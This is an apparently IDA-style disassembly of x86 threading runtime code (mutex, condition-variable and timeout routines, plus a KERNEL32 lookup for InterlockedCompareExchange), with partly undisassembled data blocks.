		test	eax, eax
		jz	short loc_4309ED
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_4309ED
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4309ED:				; CODE XREF: ___:004309D6j
					; ___:004309DCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430A10:				; CODE XREF: ___:004018F7j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_430A3A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_430A3A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_430A2E
		test	eax, eax
		jnz	short loc_430A3A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_430A2E:				; CODE XREF: ___:00430A25j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_430A3A:				; CODE XREF: ___:00430A16j
					; ___:00430A1Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430A50	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430A71
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430A71
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_430A71
		cmp	edx, 2
		jg	short loc_430A71
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_430A71:				; CODE XREF: sub_430A50+8j
					; sub_430A50+Ej ...
		mov	eax, 16h
		retn
sub_430A50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430A90	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430AAE
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430AAE
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_430AAE
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_430AAE:				; CODE XREF: sub_430A90+8j
					; sub_430A90+Ej ...
		mov	eax, 16h
		retn
sub_430A90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430AD0	proc near		; CODE XREF: sub_402225j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_430B87
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430B87
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430B01
		push	esi
		call	sub_401C03
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_430B01
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B01:				; CODE XREF: sub_430AD0+1Dj
					; sub_430AD0+2Cj
		mov	esi, [esi]
		push	esi
		nop
		call	near ptr 27604DAh
		test	eax, eax
		jnz	short loc_430B2A


loc_430B0E:				; CODE XREF: sub_430AD0+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430B22
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_430B22:				; CODE XREF: sub_430AD0+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B2A:				; CODE XREF: sub_430AD0+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430B6A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0F10h, 8508C483h, 562374C0h, 0FB4DE890h
		dd 7E830233h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B6A:				; CODE XREF: sub_430AD0+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_430BC0
		add	esp, 4
		test	eax, eax
		jz	short loc_430B0E
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B87:				; CODE XREF: sub_430AD0+Aj
					; sub_430AD0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430AD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430BC0	proc near		; CODE XREF: sub_430AD0+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_430BDA
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 2770384h
		test	eax, eax
		jnz	short loc_430BDA
		retn
; ---------------------------------------------------------------------------


loc_430BDA:				; CODE XREF: sub_430BC0+6j
					; sub_430BC0+17j
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_430BC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430C00	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_430D98
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430D98
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430C31
		push	esi
		call	sub_401C03
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_430C31
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430C31:				; CODE XREF: sub_430C00+1Dj
					; sub_430C00+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 27604DAh
		test	eax, eax
		jnz	short loc_430C62


loc_430C40:				; CODE XREF: sub_430C00+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_430D8E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430C62:				; CODE XREF: sub_430C00+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430CA6
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0DD8h, 8508C483h, 562774C0h, 0FA15E890h
		dd 7E830233h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CA6:				; CODE XREF: sub_430C00+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_430CBA
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CBA:				; CODE XREF: sub_430C00+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_430E10
		add	esp, 8
		sub	eax, 0
		jz	loc_430D7A
		dec	eax
		jz	short loc_430D44
		dec	eax
		jz	short loc_430CE5
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CE5:				; CODE XREF: sub_430C00+D4j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_430D17
		nop
		call	near ptr 277069Bh
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D17:				; CODE XREF: sub_430C00+101j
		call	near ptr 277069Bh
		nop
		test	eax, eax
		jl	short loc_430D36
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430D36
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]


loc_430D36:				; CODE XREF: sub_430C00+11Fj
					; sub_430C00+12Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D44:				; CODE XREF: sub_430C00+D1j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_430D6A
		push	esi
		nop
		call	near ptr 277069Bh
		mov	ebp, 274Ch


loc_430D6A:				; CODE XREF: sub_430C00+15Cj
		push	ebx
		call	near ptr 7C9010EDh
		nop
		test	edi, edi
		jnz	short loc_430D91
		jmp	loc_430C40
; ---------------------------------------------------------------------------


loc_430D7A:				; CODE XREF: sub_430C00+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430D8E
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_430D8E:				; CODE XREF: sub_430C00+4Dj
					; sub_430C00+187j
		mov	[esi+0Ch], eax


loc_430D91:				; CODE XREF: sub_430C00+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D98:				; CODE XREF: sub_430C00+Aj
					; sub_430C00+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_430C00	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430E10	proc near		; CODE XREF: sub_430C00+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_430EAE
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_430E42
		or	eax, 0FFFFFFFFh


loc_430E2C:				; CODE XREF: sub_430E10+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 2770384h
		test	eax, eax
		jnz	short loc_430E9C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430E42:				; CODE XREF: sub_430E10+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		call	near ptr 77C49113h
		nop
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_430E2C
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430E9C:				; CODE XREF: sub_430E10+2Aj
		cmp	eax, 102h
		jnz	short loc_430EAE
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430EAE:				; CODE XREF: sub_430E10+Bj
					; sub_430E10+91j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_430E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430F00	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_430FA0
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_430FA0
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_430F95
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_430F4A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jnz	short loc_430F4A
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430F4A:				; CODE XREF: sub_430F00+2Aj
					; sub_430F00+40j
		cmp	[esi+8], edi
		jnz	short loc_430F58
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_430F9A


loc_430F58:				; CODE XREF: sub_430F00+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		nop
		call	near ptr 7C901005h
		push	esi
		call	near ptr 277069Bh
		nop
		test	eax, eax
		jl	short loc_430F88
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430F88
		call	near ptr 77C1F2BCh
		nop
		mov	ebx, [eax]


loc_430F88:				; CODE XREF: sub_430F00+6Ej
					; sub_430F00+7Ej
		push	edi
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430F95:				; CODE XREF: sub_430F00+1Ej
		mov	ebx, 16h


loc_430F9A:				; CODE XREF: sub_430F00+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430FA0:				; CODE XREF: sub_430F00+Aj
					; sub_430F00+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_430F00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430FE0	proc near		; CODE XREF: sub_40177Bj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_431065
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_431065
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431002
		push	esi
		call	sub_401C03
		add	esp, 4
		mov	edi, eax


loc_431002:				; CODE XREF: sub_430FE0+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_431060
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431033
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43102B
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43102B:				; CODE XREF: sub_430FE0+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431033:				; CODE XREF: sub_430FE0+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_43105B
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_43105B
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43105B:				; CODE XREF: sub_430FE0+57j
					; sub_430FE0+6Dj
		mov	edi, 10h


loc_431060:				; CODE XREF: sub_430FE0+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431065:				; CODE XREF: sub_430FE0+Aj
					; sub_430FE0+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430FE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4310A0:				; CODE XREF: ___:0040192Ej
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4310D0:				; CODE XREF: ___:00401587j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018C0
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431100:				; CODE XREF: ___:0040148Dj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43110C
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_43110C:				; CODE XREF: ___:00431106j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431120:				; CODE XREF: ___:00401BFEj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_431132
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431132:				; CODE XREF: ___:00431128j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_431155
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_431155
		call	sub_401CEE
; ---------------------------------------------------------------------------
		dd 57E89056h, 0E8023F0Ch, 0FFFD0B9Eh, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_431155:				; CODE XREF: ___:00431136j
					; ___:0043113Dj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43118E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43118E:				; CODE XREF: ___:00431184j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_4311F6
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 2770384h
		test	eax, eax
		jnz	short loc_4311E7
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_4311D6
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4311D6:				; CODE XREF: ___:004311B6j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4311E7:				; CODE XREF: ___:004311A2j
		cmp	eax, 102h
		jz	short loc_4311FC
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4311F6:				; CODE XREF: ___:00431194j
		nop
		call	near ptr 2821DA2h


loc_4311FC:				; CODE XREF: ___:004311ECj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431250:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C26
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_43126B
		mov	eax, [esp+0]


loc_43126B:				; CODE XREF: ___:00431265j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431280	proc near		; CODE XREF: sub_401708j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		nop
		call	near ptr 27D0968h
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_50E3E0, eax
		nop
		call	near ptr 27E0000h
		test	eax, eax
		mov	dword_50E3FC, eax
		jnz	short loc_4312CD
		mov	eax, dword_50E3E0
		mov	dword_50E3FC, offset loc_4012D0
		push	eax
		nop
		call	near ptr 27502A5h
		mov	dword_50E3E0, 0


loc_4312CD:				; CODE XREF: sub_431280+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_431280	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431300	proc near		; CODE XREF: sub_40161Dj
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	short loc_431350
		mov	eax, dword_50E3E8
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 86E8501Ah, 8BFFFD04h
		dd 50E3E80Dh, 4C48300h,	6A118Bh, 0C5E89052h, 0E80231ECh
		dd 0FFFD02FBh, 50E3E0A1h, 74C08500h, 0E8905007h, 231EF55h
; ---------------------------------------------------------------------------


loc_431350:				; CODE XREF: sub_431300+7j
		mov	eax, 1
		retn
sub_431300	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431380	proc near		; CODE XREF: sub_4017B2j
		mov	eax, 1
		retn
sub_431380	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4313A0	proc near		; CODE XREF: sub_4017C1j
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	short loc_4313DB
		mov	eax, dword_50E3E8
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah,	8BFFFD03h
		dd 50E3E80Dh, 4C48300h,	6A118Bh, 0EC26E852h
; ---------------------------------------------------------------------------
		xor	[edx], eax
		nop


loc_4313DB:				; CODE XREF: sub_4313A0+7j
		mov	eax, 1
		retn
sub_4313A0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431410:				; CODE XREF: ___:00402239j
		push	ecx
		push	esi
		push	offset dword_50E9C0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, dword_50E3F0
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_43144E


loc_43142C:				; CODE XREF: ___:0043144Cj
		test	esi, esi
		jnz	short loc_43144E
		lea	eax, [esp+4]
		push	eax
		call	sub_401604
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_43142C


loc_43144E:				; CODE XREF: ___:0043142Aj
					; ___:0043142Ej
		push	offset dword_50E9C0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431490	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4314A9
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4314A9
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_4314A9
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4314A9:				; CODE XREF: sub_431490+6j
					; sub_431490+Cj ...
		mov	eax, 1
		retn
sub_431490	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4314C0	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	short loc_4314CF
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4314CF:				; CODE XREF: sub_4314C0+7j
		push	0
		push	offset dword_50E3E8
		mov	dword_50E3E4, 1
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jnz	short loc_4314FE
		push	eax
		push	offset dword_50E3EC
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jz	short loc_431503


loc_4314FE:				; CODE XREF: sub_4314C0+2Aj
		call	sub_40163B


loc_431503:				; CODE XREF: sub_4314C0+3Cj
		push	esi
		mov	esi, dword_50F85C
		push	offset dword_50E900
		call	esi ; dword_50F85C
		push	offset dword_50E960
		call	esi ; dword_50F85C
		push	offset dword_50E9C0
		call	esi ; dword_50F85C
		push	offset dword_50E940
		call	esi ; dword_50F85C
		push	offset dword_50E9A0
		call	esi ; dword_50F85C
		push	offset dword_50E980
		call	esi ; dword_50F85C
		mov	eax, dword_50E3E4
		pop	esi
		retn
sub_4314C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431560	proc near		; CODE XREF: sub_40163Bj
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	locret_431619
		mov	eax, dword_50E3E8
		test	eax, eax
		jz	short loc_431589
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E3E8, 0


loc_431589:				; CODE XREF: sub_431560+14j
		mov	eax, dword_50E3EC
		test	eax, eax
		jz	short loc_4315A5
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E3EC, 0


loc_4315A5:				; CODE XREF: sub_431560+30j
		push	esi
		push	offset dword_50E900
		nop
		call	near ptr 7C901005h
		mov	eax, dword_44574C
		cmp	eax, 1
		jz	short loc_4315D3
		push	edi
		mov	edi, dword_50FAC4


loc_4315C2:				; CODE XREF: sub_431560+70j
		mov	esi, [eax+8]
		push	eax
		call	edi ; dword_50FAC4
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_4315C2
		pop	edi


loc_4315D3:				; CODE XREF: sub_431560+59j
		push	offset dword_50E900
		nop
		call	near ptr 7C9010EDh
		mov	esi, dword_50F858
		push	offset dword_50E980
		call	esi ; dword_50F858
		push	offset dword_50E9A0
		call	esi ; dword_50F858
		push	offset dword_50E940
		call	esi ; dword_50F858
		push	offset dword_50E9C0
		call	esi ; dword_50F858
		push	offset dword_50E960
		call	esi ; dword_50F858
		push	offset dword_50E900
		call	esi ; dword_50F858
		mov	dword_50E3E4, 0
		pop	esi

locret_431619:				; CODE XREF: sub_431560+7j
		retn
sub_431560	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431650:				; CODE XREF: ___:loc_401B95j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		call	near ptr 77C2C21Bh
		nop
		mov	eax, dword_50E3E8
		push	esi
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_436A5C
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4316AC
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_4316B8
; ---------------------------------------------------------------------------


loc_4316AC:				; CODE XREF: ___:00431699j
		dec	eax
		jz	short loc_4316B5
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_4316B8
; ---------------------------------------------------------------------------


loc_4316B5:				; CODE XREF: ___:004316ADj
		mov	esi, [edi+14h]


loc_4316B8:				; CODE XREF: ___:004316AAj
					; ___:004316B3j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_4316D7
		call	sub_4017C1
		push	esi
		call	near ptr 77C3A307h
		nop
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4316D7:				; CODE XREF: ___:004316BCj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431730	proc near		; CODE XREF: sub_4017ADj

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
